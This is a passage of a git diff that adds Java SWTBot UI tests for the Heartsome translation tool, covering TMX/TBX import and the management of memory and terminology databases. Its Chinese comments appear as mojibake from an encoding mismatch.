无效路径(文件ä¸å­˜åœ¨ï¼‰çš„é¢„å¤„ç† + if (expectedResult.equals(TsUIConstants.ExpectedResult.INVALID_PATH)) { + File file = new File(filePath); + if (file.exists()) { // 此预期结果分支ä¸åº”该存在该文件,故需先删除 + file.delete(); + } + } + + // æµè§ˆæ–‡ä»¶ + dialog.btnBrowse().click(); + + // 用 Mock 的输入对è¯æ¡†ä»£æ›¿ç³»ç»ŸåŽŸç”Ÿå¯¹è¯æ¡†æ¥è¾“入文件路径 + InputDialog idlg = new InputDialog(InputDialog.OPEN_FILE); + idlg.txt().setText(filePath); + idlg.btnOK().click(); + Waits.shellClosed(idlg); + + HSBot.bot().waitUntil(new IsWidgetTextEquals(dialog.txtWLblFile(), filePath), 10000); + + // 预期结果验è¯ï¼šæœªé€‰æ‹©æ•°æ®åº“ + if (expectedResult.equals(TsUIConstants.ExpectedResult.NO_DB)) { + assertTrue(dialog.txtWLblDatabase().getText().equals("")); + assertTrue(!dialog.btnFinish().isEnabled()); + assertTrue(dialog.msgNoDBToImport().isVisible()); + + } else { + + // 选择库 + dialog.btnSelectDB().click(); + MemoryDBManagement md = new MemoryDBManagement(row); + md.setFromImportDb(true); + md.selectDB(dbName); +// new DBManagement(row).selectDB(dbName); + assertTrue("记忆库/术语库未正确选择。", dbName.equals(dialog.txtWLblDatabase().getText())); + + // 选择更新策略 + dialog.btnSetting().click(); + PreferencesDialog dlgPref = new PreferencesDialog(); + selectUpdateMode(dlgPref); + + // 开始导入 + dialog.btnFinish().click(); + + // 预期结果验è¯ï¼šæˆåŠŸå¯¼å…¥æ–‡ä»¶ + if (expectedResult.equals(TsUIConstants.ExpectedResult.SUCCESS)) { + try { + HSBot.bot().waitUntil(new IsWidgetInvisible(dialog.msgImporting()), 600000); // æš‚æ—¶åªè®¾ç½®ç­‰å¾… 10 分钟 + } catch (WidgetNotFoundException e) { + e.printStackTrace(); + } + assertTrue(dialog.msgImportSuccess().isVisible()); + + // 预期结果验è¯ï¼šæ–‡ä»¶å†…容有误ã€æ— æ•ˆè·¯å¾„(文件ä¸å­˜åœ¨ï¼‰ã€é”™è¯¯çš„文件类型 + } else if (expectedResult.equals(TsUIConstants.ExpectedResult.FILE_ERROR) + || expectedResult.equals(TsUIConstants.ExpectedResult.INVALID_PATH) + || expectedResult.equals(TsUIConstants.ExpectedResult.WRONG_TYPE)) { + assertTrue(dialog.msgFileError().isVisible()); + + } else { + assertTrue("无此预期结果:" + expectedResult, false); + } + } + } + if (dialog.isOpen()) { + dialog.btnCancel().click(); + Waits.shellClosed(dialog); + } + } + + /** + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æ供的枚举; + * @return 导入对è¯æ¡†å¯¹è±¡ + */ + public ImportDialog openImportDialog(Entry from) { + switch (from) { + + case MENU: { + + switch (importType) { + + case TMX: { + ts.menuDBImportTMXFile().click(); + dialog = new ImportDialog(ImportDialog.TMX); + break; + } + case TBX: { + ts.menuDBImportTBXFile().click(); + dialog = new ImportDialog(ImportDialog.TBX); + break; + } + default: { + assertTrue("å‚数错误,无此导入类型:" + importType, false); + } + } + break; + } + + default: { + assertTrue("å‚数错误,该功能无此入å£ï¼š" + from, false); + } + } + + return dialog; + } + + /** + * 选择记忆库/术语库的更新策略。 + * @param dlg + * 首选项对è¯æ¡†; + */ + public void selectUpdateMode(PreferencesDialog dlg) { + String msg = "å‚数错误,无此更新策略:" + updateMode; + switch (importType) { + + case TMX: { + assertTrue(dlg.treiTMDB().isSelected()); + + switch (updateMode) { + case ALWAYS_ADD: { + dlg.tmRadBtnUpdateModeAlwaysAdd().click(); + break; + } + case OVERWRITE: { + dlg.tmRadBtnUpdateModeOverwrite().click(); + break; + } + case IGNORE: { + dlg.tmRadBtnUpdateModeIgnore().click(); + break; + } + default: { + assertTrue(msg, false); + } + } + break; + } + + case TBX: { + assertTrue(dlg.treiTBDB().isSelected()); + + switch (updateMode) { + case ALWAYS_ADD: { + dlg.tbRadBtnUpdateModeAlwaysAdd().click(); + break; + } + case OVERWRITE: { + dlg.tbRadBtnUpdateModeOverwrite().click(); + break; + } + case MERGE: { + dlg.tbRadBtnUpdateModeMerge().click(); + break; + } + case IGNORE: { + dlg.tbRadBtnUpdateModeIgnore().click(); + break; + } + default: { + assertTrue(msg, false); + } + } + break; + } + + default: { + assertTrue("å‚数错误,无此导入类型:" + importType, false); + } + } + dlg.btnOK().click(); + Waits.shellClosed(dlg); + } + + /** + * 从 Excel 文件中读å–所需的测试数æ®ï¼Œå…¶ä¸­åº“管ç†éƒ¨åˆ†ç›´æŽ¥ä¼  HsRow 对象å³å¯ï¼Œæ— éœ€åœ¨æ­¤è¯»å–; + */ + public void getDataAll() { + filePath = data.getTextOrEmpty(ExcelData.colFilePath); + dbName = data.getTextOrEmpty(ExcelData.colDBName); + updateMode = data.getUpdateMode(); + expectedResult = data.getExpectedResult(); + } + +} diff --git a/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/db/MemoryDBManagement.java b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/db/MemoryDBManagement.java new file mode 100644 index 0000000..462d177 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/db/MemoryDBManagement.java @@ -0,0 +1,676 @@ +package net.heartsome.cat.ts.test.basecase.menu.db; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.basecase.common.ExcelData; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.DB; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.Entry; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.ExpectedResult; +import net.heartsome.cat.ts.test.ui.dialogs.CreateDatabaseDialog; +import net.heartsome.cat.ts.test.ui.dialogs.CreateMemoryDbDialog; +import net.heartsome.cat.ts.test.ui.dialogs.MemoryDatabaseManagementDialog; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.msgdialogs.ConfirmDialog; +import net.heartsome.cat.ts.test.ui.msgdialogs.InformationDialog; +import net.heartsome.cat.ts.test.ui.tasks.Waits; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.utils.SWTBotUtils; +import net.heartsome.test.swtbot.widgets.HsSWTBotTable; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; +import net.heartsome.test.utilities.sikuli.OsUtil; + +import org.eclipse.jface.bindings.keys.KeyStroke; +import org.eclipse.jface.bindings.keys.ParseException; +import org.eclipse.swtbot.swt.finder.keyboard.Keystrokes; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * æ•°æ®åº“的相关æ“作 + * @author felix_lu + * @version + * @since JDK1.6 + */ +/** + * @author Roy Xiao + * @version + * @since JDK1.6 + */ +/** + * @author roy + * + */ +public class MemoryDBManagement { + + private final TS ts = TS.getInstance(); + private MemoryDatabaseManagementDialog dialog; + private DB dbType; + private String server; + private String port; + private String instance; + private String path; + private String username; + private String password; + private boolean saveConn = true; + private String dbName; + private HsRow rowDBData; + private ExcelData data; + private String connectionName; + private ExpectedResult expectedConnect = null; + private ExpectedResult expectedCreate = null; + // private boolean confirm = false; + private HsSWTBotTable table; + private int mode; + private boolean isFromImportDb = false; + + /** + * true表示是记忆库, false表示是术语库 + */ + private boolean isMemory = true; + + + + /** + * @param isMemory the isMemory to set + */ + public void setMemory(boolean isMemory) { + this.isMemory = isMemory; + } + + /** + * @param row + * 需è¦è¯»å–æ•°æ®çš„ Excel 行。 + */ + public MemoryDBManagement(HsRow row) { + rowDBData = row; + data = new ExcelData(row); + } + + /** + * 完整æµç¨‹ï¼šæ ¹æ®ä»Ž Excel 中读å–çš„æ•°æ®åŽ»è¿žæŽ¥æ•°æ®åº“æœåŠ¡å™¨; + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + */ + public void connectServer(Entry from) { + mode = MemoryDatabaseManagementDialog.MANAGEMENT; + openDBMgmgDialog(from); + getDataConnect(mode); + getDBListFromServer(false); + dialog.btnClose().click(); + // TODO å¯å¢žåŠ å¯¹æ•°æ®åº“æ•°æ®çš„ç›¸å…³éªŒè¯ + } + + /** + * 完整æµç¨‹ï¼šæ ¹æ®ä»Ž Excel 中读å–çš„æ•°æ®åŽ»åˆ›å»ºä¿å­˜æ•°æ®åº“æœåŠ¡å™¨; + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + */ + public void saveServer(Entry from) { + mode = MemoryDatabaseManagementDialog.MANAGEMENT; + openDBMgmgDialog(from); + getDataConnect(mode); + saveServer(); + dialog.btnClose().click(); + // TODO å¯å¢žåŠ å¯¹æ•°æ®åº“æ•°æ®çš„ç›¸å…³éªŒè¯ + } + + /** + * 完整步骤:根æ®ä»Ž Excel 中读å–çš„æ•°æ®åˆ é™¤å·²ä¿å­˜çš„è¿žæŽ¥ä¿¡æ¯ + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + */ + public void deleteConnection(Entry from) { + mode = MemoryDatabaseManagementDialog.MANAGEMENT; + openDBMgmgDialog(from); + getDataConnect(mode); + assertTrue("未在已ä¿å­˜çš„连接信æ¯ä¸­æ‰¾åˆ°è¯¥è¿žæŽ¥ï¼š" + connectionName, isConnectionSaved()); + + SWTBotTreeItem curDb = selectDBType(); + int countBefore = curDb.getItems().length; + curDb.expandNode(connectionName).select(); + dialog.btnRemoveConn().click(); + + int countRemove = curDb.getItems().length; + assertTrue("ä»å¯åœ¨å·²ä¿å­˜çš„连接信æ¯ä¸­æ‰¾åˆ°è¯¥è¿žæŽ¥ï¼š" + connectionName, countBefore == countRemove+1 ); + dialog.btnClose().click(); + } + + /** + * 完整æµç¨‹ï¼šæ ¹æ®ä»Ž Excel 中读å–çš„æ•°æ®åˆ›å»ºæ•°æ®åº“; + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + */ + public void createDB(Entry from) { + mode = MemoryDatabaseManagementDialog.MANAGEMENT; + openDBMgmgDialog(from); + getDataCreateDB(); + + selectDBType().expandNode(connectionName).select(); + dialog.btnSearch().click(); +// getDBListFromServer(true); + table = dialog.bot().table(); + + + if (expectedCreate.equals(TsUIConstants.ExpectedResult.SUCCESS) && isExist(dbName)) { // 若预期结果为创建æˆåŠŸã€è€Œè¯¥æ•°æ®åº“ç›®å‰å·²å­˜åœ¨ï¼Œåˆ™å…ˆåˆ é™¤ + table.unselect(); + table.select(table.rowIndexOfColumn(dbName, TsUIConstants.getString("tblColDatabaseName"))); + dialog.btnDeleteDb().click(); + ConfirmDialog dlgConfirm = new ConfirmDialog(ConfirmDialog.dlgTitleTips, + ConfirmDialog.msgDeleteDatabaseFromServer); + dlgConfirm.btnOK().click(); + Waits.shellClosed(dlgConfirm); + } + inputDBName(); + if (expectedCreate.equals(TsUIConstants.ExpectedResult.SUCCESS)) { + assertTrue("列表中没有该数æ®åº“:" + dbName, isExist(dbName)); + } + dialog.btnClose().click(); + } + + /** + * 完整æµç¨‹ï¼šæ ¹æ®ä»Ž Excel 中读å–çš„æ•°æ®åˆ é™¤æ•°æ®åº“; + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + * @param confirm + * 是å¦ç¡®è®¤åˆ é™¤ + */ + public void deleteDB(Entry from, boolean confirm) { + mode = MemoryDatabaseManagementDialog.MANAGEMENT; + openDBMgmgDialog(from); + getDataDeleteDB(); +// getDBListFromServer(true); + + selectDBType().expandNode(connectionName).select(); + dialog.btnSearch().click(); + table = dialog.bot().table(); + + assertTrue("列表中没有该数æ®åº“:" + dbName, isExist(dbName)); + table.unselect(); + table.select(table.rowIndexOfColumn(dbName, TsUIConstants.getString("tblColDatabaseName"))); + dialog.btnDeleteDb().click(); + ConfirmDialog dlgConfirm = new ConfirmDialog(ConfirmDialog.dlgTitleTips, + ConfirmDialog.msgDeleteDatabaseFromServer); + if (confirm) { + dlgConfirm.btnOK().click(); + Waits.shellClosed(dlgConfirm); + assertTrue("æ•°æ®åº“ä»åœ¨åˆ—表中:" + dbName, !isExist(dbName)); + } else { + dlgConfirm.btnCancel().click(); + Waits.shellClosed(dlgConfirm); + assertTrue("列表中没有该数æ®åº“:" + dbName, isExist(dbName)); + } + dialog.btnClose().click(); + } + + /** + * 完整æµç¨‹ï¼šæ ¹æ®ä»Ž Excel 中读å–çš„æ•°æ®åˆ é™¤æ•°æ®åº“; + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类的枚举; + */ + public void deleteDB(Entry from) { + deleteDB(from, data.getBoolean(ExcelData.colConfirm)); + } + + /** + * 完整æµç¨‹ï¼šé€‰æ‹©åº“; + * @param dbName + * è¦é€‰æ‹©çš„æ•°æ®åº“å称,其他信æ¯ç›´æŽ¥ä»Ž Excel ä¸­è¯»å– + */ + public void selectDB(String dbName) { + mode = MemoryDatabaseManagementDialog.SELECT; + getDataConnect(mode); + dialog = new MemoryDatabaseManagementDialog(MemoryDatabaseManagementDialog.SELECT,isMemory?"dlgTitleMemoryManagement":"dlgTitletreiTbManagement"); + dialog.activate(); + getDBListFromServer(false); + assertTrue("æ•°æ®åº“å称:" + dbName + ",实际内容:" + table.cell(0, 1), isExist(dbName)); + table.unselect(); + table.select(table.rowIndexOfColumn(dbName, TsUIConstants.getString("tblColDatabaseName"))); + dialog.btnOK().click(); + Waits.shellClosed(dialog); + } + + + + // 以下为éžå®Œæ•´æ­¥éª¤ + + /** + * @param from + * å…¥å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants 类中æ供的枚举。 + * @return 打开的库管ç†å¯¹è¯æ¡†; + */ + public MemoryDatabaseManagementDialog openDBMgmgDialog(Entry from) { + if (from.equals(TsUIConstants.Entry.MENU)) { + if (isMemory){ + ts.menuDBManagement().click(); + } else { + ts.menuTeriDBManagement().click(); + } + } else if (from.equals(TsUIConstants.Entry.SHORTCUT)) { + try { + ts.pressShortcut(SWTBotUtils.getCtrlOrCmdKey(), Keystrokes.SHIFT, KeyStroke.getInstance("D")); + } catch (ParseException e) { + e.printStackTrace(); + assertTrue("å¿«æ·é”®è§£æžé”™è¯¯ã€‚", false); + } + } else { + assertTrue("å‚数错误,该功能无此入å£ï¼š" + from, false); + } + dialog = new MemoryDatabaseManagementDialog(MemoryDatabaseManagementDialog.MANAGEMENT,isMemory?"dlgTitleMemoryManagement":"dlgTitletreiTbManagement"); + return dialog; + } + + /** + * 在库管ç†å¯¹è¯æ¡†å·¦è¾¹çš„树上选择并展开指定类型的数æ®åº“; + * @return 指定数æ®åº“类型的树节点; + */ + public SWTBotTreeItem selectDBType() { + + return selectDBType(dbType); + } + + /** + * 在库管ç†å¯¹è¯æ¡†å·¦è¾¹çš„树上选择并展开指定类型的数æ®åº“ + * @param dbType + * æ•°æ®åº“类型; + * @return 指定数æ®åº“类型的树节点; + */ + public SWTBotTreeItem selectDBType(DB dbType) { + SWTBotTreeItem treei = null; + assertTrue("库管ç†å¯¹è¯æ¡†ä¸º null。", dialog != null); + + switch (dbType) { + + case INTERNAL: { + treei = dialog.treiDBInternal().expand().select(); + verifyInternalDBWidgets(); + break; + } + + case MYSQL: { + treei = dialog.treiDBMySQL().expand().select(); + verifyExternalDBWidgets(dbType); + break; + } + + case ORACLE: { + treei = dialog.treiDBOracle().expand().select(); + verifyExternalDBWidgets(dbType); + break; + } + + case POSTGRESQL: { + treei = dialog.treiDBPostgreSQL().expand().select(); + verifyExternalDBWidgets(dbType); + break; + } + + case MSSQL: { + treei = dialog.treiDBMSSQL().expand().select(); + verifyExternalDBWidgets(dbType); + break; + } + + default: { + assertTrue("无此数æ®åº“类型" + dbType, false); + } + } + + return treei; + } + + /** + * 确认选中内置库åŽï¼Œé™¤è·¯å¾„å’Œæµè§ˆæŒ‰é’®å¤–,其他输入控件的状æ€ä¸ºä¸å¯ç”¨; + */ + private void verifyInternalDBWidgets() { + dialog.btnAdd().click(); + assertTrue(dialog.txtWLblPath().isEnabled()); + assertTrue(dialog.btnBrowse().isEnabled()); + assertTrue(!dialog.txtWLblServer().isEnabled()); + assertTrue(!dialog.txtWLblPort().isEnabled()); + assertTrue(!dialog.txtWLblInstance().isEnabled()); + assertTrue(!dialog.txtWLblUsername().isEnabled()); + assertTrue(!dialog.txtWLblPassword().isEnabled()); + } + + /** + * 确认选中外部库åŽï¼Œå„输入控件的状æ€ä¸Žå†…置库相åï¼ŒåŠ Oracle 特有的实例 + * @param dbType + * æ•°æ®åº“类型; + */ + private void verifyExternalDBWidgets(DB dbType) { + dialog.btnAdd().click(); + assertTrue(dialog.txtWLblServer().isEnabled()); + assertTrue(dialog.txtWLblPort().isEnabled()); + assertTrue(dialog.txtWLblUsername().isEnabled()); + assertTrue(dialog.txtWLblPassword().isEnabled()); + assertTrue(!dialog.txtWLblPath().isEnabled()); + assertTrue(!dialog.btnBrowse().isEnabled()); + if (dbType.equals(TsUIConstants.DB.ORACLE)) { + assertTrue(dialog.txtWLblInstance().isEnabled()); + } else { + assertTrue(!dialog.txtWLblInstance().isEnabled()); + } + } + + /** + * 往界é¢ä¸­å¡«å†™æœåŠ¡å™¨è¿žæŽ¥ä¿¡æ¯; + */ + public void setConnectionInfo() { + if (dbType.equals(TsUIConstants.DB.INTERNAL)) { + dialog.txtWLblPath().setText(path); + } else { + dialog.txtWLblServer().setText(server); + dialog.txtWLblPort().setText(port); + dialog.txtWLblUsername().setText(username); + dialog.txtWLblPassword().setText(password); + if (dbType.equals(TsUIConstants.DB.ORACLE)) { + dialog.txtWLblInstance().setText(instance); + } + } +// if (saveConn) { +// dialog.chkbxRemeber().select(); +// } + } + + /** + * 判断返回结果,并进行处ç†ï¼Œ + * @param isSave true 表示是ä¿å­˜è¿žæŽ¥æ“作,ä¸éœ€è¦è€ƒè™‘连接错误的; false 表示是查询连接æ“作。 + * @param isFromImportDb true 表示是从导入记忆库界é¢æ‰“开的,数æ®åº“å·²ç»ç¡®ä¿æ˜¯å¯¹çš„,ä¸ç”¨æ£€æŸ¥expectedConnect。 + * @return true 表示需è¦ä¿å­˜è¿žæŽ¥ false 表示ä¸éœ€è¦ä¿å­˜è¿žæŽ¥ï¼Œåªå¯¹ä¿å­˜è¿žæŽ¥è°ƒç”¨æ—¶èµ·ä½œç”¨ï¼ŒæŸ¥è¯¢è¿žæŽ¥è°ƒç”¨æ­¤æ–¹æ³•æ— éœ€ç†ä¼šæ­¤è¿”回值 + */ + public boolean checkMsg(boolean isSave){ + + if (isFromImportDb){ + return true; + } + + if (expectedConnect.equals(TsUIConstants.ExpectedResult.SUCCESS)) { + assertTrue(HSBot.bot().activeShell().getText().equals(dialog.getText())); + return true; + } else { + + + InformationDialog msgDlg = null; + // 如果是ä¿å­˜æ“作,且返回值是连接错误,此时ä¸ç”¨å¼¹å‡ºæ示框,直接返回true + if (isSave && expectedConnect == TsUIConstants.ExpectedResult.CONNECTION_ERROR) { + return true; + } else { + assertTrue(HSBot.bot().shells().length == 3); + } + switch (expectedConnect) { + + case SUCCESS: { + break; + } + + case NO_SERVER: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleErrorInfo, + InformationDialog.msgServerIsRequired); + break; + } + + case NO_PORT: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleErrorInfo, InformationDialog.msgPortIsRequired); + break; + } + + case NO_INSTANCE: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleErrorInfo, + InformationDialog.msgInstanceIsRequired); + break; + } + + case NO_PATH: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleErrorInfo, InformationDialog.msgPathIsRequired); + break; + } + + case NO_USERNAME: { + msgDlg = new InformationDialog(InformationDialog.dlgTitleErrorInfo, + InformationDialog.msgUsernameIsRequired); + break; + } + + case CONNECTION_ERROR: { + + msgDlg = new InformationDialog(InformationDialog.dlgTitleTips, + InformationDialog.msgServerConnectionError); + break; + } + + default: { + assertTrue("å‚数错误,无此预期结果:" + expectedConnect, false); + } + } + + assertTrue(msgDlg.lblMessage().isVisible()); + msgDlg.btnOK().click(); + Waits.shellClosed(msgDlg); + + + return false; + } + + + } + + + /** + * 在数æ®åº“æœåŠ¡å™¨ä¸ŠæŸ¥è¯¢æ•°æ®åº“列表 + * @param useSavedConnection + * 是å¦ä½¿ç”¨å·²ä¿å­˜çš„连接; + * @return + */ + public HsSWTBotTable getDBListFromServer(boolean useSavedConnection) { + assertTrue("库管ç†å¯¹è¯æ¡†ä¸º null。", dialog != null); + dialog.activate(); + if (useSavedConnection && isConnectionSaved()) { + selectDBType().expandNode(connectionName).select(); + dialog.btnAdd().click(); + assertTrue("æœåŠ¡å™¨åœ°å€æœªæ­£ç¡®èµ‹å€¼ã€‚", server.equals(dialog.txtWLblServer().getText())); + assertTrue("æœåŠ¡å™¨ç«¯å£æœªæ­£ç¡®èµ‹å€¼ã€‚", port.equals(dialog.txtWLblPort().getText())); + } else { + selectDBType(); + setConnectionInfo(); + dialog.btnSearch().click(); + } + + checkMsg(false); + + table = dialog.bot().table(); + return table; + } + + + + /** + * 在数æ®åº“æœåŠ¡å™¨ä¸Šä¿å­˜é“¾æŽ¥ + * @return + */ + public void saveServer() { + assertTrue("库管ç†å¯¹è¯æ¡†ä¸º null。", dialog != null); + dialog.activate(); + + int countBefore = selectDBType().getItems().length; + //点击添加按钮 + dialog.btnAdd().click(); + // è®¾ç½®è¿žæŽ¥ä¿¡æ¯ + setConnectionInfo(); + assertTrue("æœåŠ¡å™¨åœ°å€æœªæ­£ç¡®èµ‹å€¼ã€‚", server.equals(dialog.txtWLblServer().getText())); + assertTrue("æœåŠ¡å™¨ç«¯å£æœªæ­£ç¡®èµ‹å€¼ã€‚", port.equals(dialog.txtWLblPort().getText())); + //点击ä¿å­˜æŒ‰é’® + dialog.btnSaveConn().click(); + + int countNew = selectDBType().getItems().length; + //如果当å‰æ•°æ®åº“类型的å­èŠ‚点已ç»å¢žåŠ äº†ï¼Œåˆ™è¯´æ˜Žä¿å­˜æˆåŠŸã€‚ + //checkMsg 返回 true 表示å‚æ•°å¯ä»¥ä¿å­˜ï¼Œå¯¹åº”çš„æ•°æ®åº“类型节点的å­é›†æ•°é‡éœ€è¦å¢žåŠ 1, 如果为false,表示缺少必è¦çš„å‚数,ä¸èƒ½ä¿å­˜ï¼Œå¯¹åº”çš„æ•°æ®åº“类型的å­é›†æ•°é‡åº”该ä¸å˜ã€‚ + if (checkMsg(true)){ + assertTrue("ä¿å­˜è¿žæŽ¥é”™è¯¯1>"+dbType+":"+server+":"+port+":"+username,countNew== countBefore+1); + } else { + assertTrue("ä¿å­˜è¿žæŽ¥é”™è¯¯2>"+dbType+":"+server+":"+port+":"+username, countBefore == countNew); + }; + + + } + + + /** + * @return 是å¦èƒ½åœ¨è¯¥æ•°æ®åº“类型下找到å为 指定æœåŠ¡å™¨:端å£å· çš„å·²ä¿å­˜è¿žæŽ¥; + */ + public boolean isConnectionSaved() { + SWTBotTreeItem[] items = selectDBType().getItems(); + for (SWTBotTreeItem item : items) { + if (item.getText().equals(connectionName)) { + return true; + } + } + return false; + } + + /** + * @return 在当å‰å¯¹è¯æ¡†ä¸­éªŒè¯è¯¥æ•°æ®åº“是å¦å­˜åœ¨; + */ + public boolean isExist(String dbName) { + return table.containsTextInColumn(dbName, TsUIConstants.getString("tblColDatabaseName")); + } + + /** + * 未打开库管ç†å¯¹è¯æ¡†æ—¶ï¼Œç›´æŽ¥éªŒè¯æ•°æ®åº“是å¦å­˜åœ¨ + * @param dbName + * è¦éªŒè¯çš„æ•°æ®åº“å称 + * @param closeDlg + * 是å¦åœ¨èŽ·å–结果åŽå…³é—­å¯¹è¯æ¡† + * @return 若该数æ®åº“存在则返回 true,å¦åˆ™ä¸º false; + */ + public boolean isDBExist(String dbName, boolean closeDlg) { + mode = MemoryDatabaseManagementDialog.SELECT; + openDBMgmgDialog(TsUIConstants.Entry.MENU); + getDataConnect(mode); + getDBListFromServer(false); + boolean result = table.containsTextInColumn(dbName, dialog.tblColDatabaseName()); + if (closeDlg) { + closeDialog(); + } + return result; + } + + /** + * 输入数æ®åº“å称,å«é¡¹ç›®å称åˆæ³•æ€§æ ¡éªŒ; + */ + public void inputDBName() { + assertTrue(dialog.btnCreateDb().isEnabled()); + dialog.btnCreateDb().click(); + CreateMemoryDbDialog dlgInputDBName = new CreateMemoryDbDialog(isMemory?"dlgTitleCreateMemoryDatabase":"dlgTitleCreatetreiTbDatabase"); + dlgInputDBName.txtWLblDatabaseName().setText(dbName); + dlgInputDBName.btnOK().click(); + + + switch (expectedCreate) { + + case INVALID_NAME: { + assertTrue("未正确显示å称éžæ³•ä¿¡æ¯ã€‚", dlgInputDBName.msgDBNameInvalid().isVisible()); + dlgInputDBName.btnCancel().click(); + break; + } + + case DUPLICATED_NAME: { + assertTrue("未正确显示é‡åä¿¡æ¯ã€‚", dlgInputDBName.msgDBExists().isVisible()); + dlgInputDBName.btnCancel().click(); + break; + } + + case LONG_NAME: { + assertTrue("未正确显示å称过长信æ¯ã€‚", dlgInputDBName.msgDBNameTooLong().isVisible()); + dlgInputDBName.btnCancel().click(); + break; + } + } + Waits.shellClosed(dlgInputDBName); + } + + /** + * 关闭库管ç†å¯¹è¯æ¡†; + */ + public void closeDialog() { + dialog.btnClose().click(); + } + + // ä»¥ä¸‹ä¸ºè¯»å– Excel 文件中的测试数æ®ç›¸å…³æ–¹æ³• + + /** + * 从 Excel 文件中读å–连接数æ®åº“æœåŠ¡å™¨ç›¸å…³æ•°æ®ï¼Œå¹¶èµ‹å€¼ç»™æˆå‘˜å˜é‡; + */ + public void getDataConnect(int mode) { + assertTrue("å‚数错误:Excel 列为 null。", rowDBData != null); + dbType = data.getDBType(); + server = data.getTextOrEmpty(ExcelData.colServer); + port = data.getTextOrEmpty(ExcelData.colPort); + instance = data.getTextOrEmpty(ExcelData.colInstance); + path = data.getTextOrEmpty(ExcelData.colDBPath); + username = data.getTextOrEmpty(ExcelData.colUsername); + password = data.getTextOrEmpty(ExcelData.colPassword); + saveConn = data.getBoolean(ExcelData.colSaveConn); + if (mode == MemoryDatabaseManagementDialog.MANAGEMENT) { + expectedCreate = data.getExpectedResult(); + if (expectedCreate.equals(TsUIConstants.ExpectedResult.INVALID_NAME) + || expectedCreate.equals(TsUIConstants.ExpectedResult.DUPLICATED_NAME) + || expectedCreate.equals(TsUIConstants.ExpectedResult.LONG_NAME)) { + expectedConnect = TsUIConstants.ExpectedResult.SUCCESS; // 创建失败,éšå«è¿žæŽ¥æˆåŠŸ + } else { + expectedConnect = data.getExpectedResult(); + } + } else if (mode == MemoryDatabaseManagementDialog.SELECT) { + dbName = data.getTextOrEmpty(ExcelData.colDBName); + // assertTrue(dbName != null); 因选择模å¼å¯èƒ½ç”¨ç›´æŽ¥ä¼ è¿›æ¥çš„æ•°æ®åº“å称而éžæœ¬ç”¨ä¾‹ Excel 中的数æ®ï¼Œå–æ¶ˆæ­¤éªŒè¯ + expectedConnect = TsUIConstants.ExpectedResult.SUCCESS; + } else { + assertTrue("无此模å¼ï¼š" + mode, false); + } + + // 未å–到æŸäº›å€¼ï¼Œä¸”ä¸æ˜¯æµ‹è¯•è¯¥ä¸ºç©ºçš„情况,自动å–默认值 + if (server.equals("") && expectedConnect != TsUIConstants.ExpectedResult.NO_SERVER) { + if (dbType != TsUIConstants.DB.INTERNAL) { + server = "localhost"; + } + } + if (port.equals("") && expectedConnect != TsUIConstants.ExpectedResult.NO_PORT) { + if (dbType.equals(TsUIConstants.DB.MYSQL)) { + port = "3306"; + } else if (dbType.equals(TsUIConstants.DB.ORACLE)) { + port = "1521"; + } else if (dbType.equals(TsUIConstants.DB.POSTGRESQL)) { + port = "5432"; + } else if (dbType.equals(TsUIConstants.DB.MSSQL)) { + port = "1433"; + } + } + if (dbType.equals(TsUIConstants.DB.INTERNAL)) { + connectionName = path; + } else if (dbType.equals(TsUIConstants.DB.ORACLE)) { + connectionName = server + ":" + port + "/" + instance; + } else { + connectionName = server + ":" + port; + } + } + + /** + * 从 Excel 文件中读å–创建数æ®åº“相关数æ®ï¼Œå¹¶èµ‹å€¼ç»™æˆå‘˜å˜é‡; + */ + public void getDataCreateDB() { + getDataConnect(MemoryDatabaseManagementDialog.MANAGEMENT); + dbName = data.getTextOrEmpty(ExcelData.colDBName); + assertTrue("æ•°æ®é”™è¯¯ï¼Œæ•°æ®åº“å称为 null。", dbName != null); + } + + /** + * 从 Excel 文件中读å–删除数æ®åº“相关数æ®ï¼Œå¹¶èµ‹å€¼ç»™æˆå‘˜å˜é‡; + */ + public void getDataDeleteDB() { + getDataCreateDB(); + // confirm = data.getConfirm(); + } + + public void setFromImportDb(boolean isFromImportDb) { + this.isFromImportDb = isFromImportDb; + } + +} diff --git a/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectCreate.java b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectCreate.java new file mode 100644 index 0000000..de6aa49 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectCreate.java @@ -0,0 +1,281 @@ +package net.heartsome.cat.ts.test.basecase.menu.file; + +import static org.junit.Assert.assertTrue; + +import java.io.File; + +import net.heartsome.cat.ts.test.basecase.common.ExcelData; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.Entry; +import 